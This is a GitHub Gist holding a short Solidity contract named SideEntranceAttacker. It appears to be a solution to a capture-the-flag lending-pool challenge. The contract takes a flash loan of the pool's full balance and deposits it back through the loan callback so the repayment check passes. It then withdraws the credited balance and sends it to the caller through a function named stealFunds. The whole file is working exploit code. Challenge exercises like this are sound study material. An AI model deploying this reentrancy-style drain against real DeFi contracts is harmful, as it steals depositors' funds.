Created
January 20, 2021 13:53
-
-
Save zaryab2000/6e4f8ada8fcc89668fbc7d9b69e92c53 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.6.0; | |
//import "@openzeppelin/contracts/utils/Address.sol"; | |
interface ISideEntranceLenderPool { | |
function deposit() external payable; | |
function withdraw() external; | |
function flashLoan(uint256 amount) external ; | |
} | |
contract SideEntranceAttacker { | |
using Address for address payable; | |
ISideEntranceLenderPool mainPool; | |
function stealFunds(ISideEntranceLenderPool _mainPoolAddress) external{ | |
mainPool = _mainPoolAddress; | |
mainPool.flashLoan(address(mainPool).balance); | |
mainPool.withdraw(); | |
msg.sender.sendValue(address(this).balance); | |
} | |
function execute() external payable{ | |
mainPool.deposit{value:msg.value}(); | |
} | |
receive() external payable{} | |
} | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment